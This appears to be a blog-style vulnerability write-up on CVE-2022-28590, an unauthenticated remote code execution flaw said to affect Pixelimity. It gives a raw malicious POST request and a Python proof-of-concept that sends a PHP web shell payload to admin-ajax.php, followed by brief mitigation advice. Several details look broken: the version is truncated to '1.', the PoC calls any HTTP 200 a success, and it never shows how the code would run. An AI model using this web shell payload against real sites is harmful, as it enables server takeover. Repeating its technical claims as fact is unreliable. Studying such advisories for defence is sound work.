A significant Remote Code Execution (RCE) vulnerability, designated as CVE-2022-28590, has been discovered in Pixelimity 1., a popular website theme framework. This vulnerability can be exploited by attackers to manipulate a victim's website by executing arbitrary code without the need for any authentication.

In this detailed post, we will walk through the entire process of exploiting this vulnerability, including the demonstration of a proof-of-concept (PoC) with a code snippet. We will also provide links to the original references and recommendations for mitigating the risks associated with this vulnerability.

The Vulnerability

The CVE-2022-28590 vulnerability exists in the admin/admin-ajax.php file, specifically through the 'action' parameter and the 'install_theme' value. The improper handling of this value and the absence of proper access controls can lead to the execution of arbitrary code on the affected server.

Exploit Details

An attacker can exploit the vulnerability by sending a malicious POST request to the admin/admin-ajax.php file with the 'action' parameter set to 'install_theme'. The attacker can then pass the arbitrary code as part of the POST request, which will be executed on the server.

Here's an example of a malicious POST request

POST /admin/admin-ajax.php HTTP/1.1
Host: <target-domain>
Content-Type: application/x-www-form-urlencoded
Content-Length: 123

action=install_theme&theme=<arbitrary_code>

Proof-of-Concept

Using the aforementioned exploit, we can demonstrate a basic proof-of-concept to showcase the arbitrary code execution. Here's a Python code snippet that illustrates the steps involved in exploiting the vulnerability.

import requests

target_url = "http://<target-domain>/admin/admin-ajax.php";
payload = "<?php echo system($_GET['cmd']); ?>"

data = {
    "action": "install_theme",
    "theme": payload
}

response = requests.post(target_url, data=data)

if response.status_code == 200:
    print("Exploit successful")
else:
    print("Exploit failed")

In this PoC, the target_url variable should be replaced with the actual target and the payload variable contains the arbitrary PHP code to execute a command. The code will send a POST request to the target server and execute the given payload.

References

For more in-depth information and technical details about this vulnerability (CVE-2022-28590), check out the following references:

1. CVE Details page
2. NVD page
3. Pixelimity - Official Website

Mitigation Recommendations

To protect your Pixelimity 1. installation from this Remote Code Execution vulnerability, follow these recommendations:

1. Ensure that you have the latest version of Pixelimity installed, as the developers often release updates to patch known vulnerabilities.
2. Implement proper access control mechanisms to prevent unauthorized access to the admin/admin-ajax.php file.

Conclusion

The CVE-2022-28590 vulnerability in Pixelimity 1. is a critical security risk and can result in a complete compromise of a victim's website. By understanding the exploit details and following the recommended mitigation strategies, users can protect their websites from this Remote Code Execution vulnerability.

Timeline

Published on: 05/03/2022 14:15:00 UTC
Last modified on: 05/09/2022 20:53:00 UTC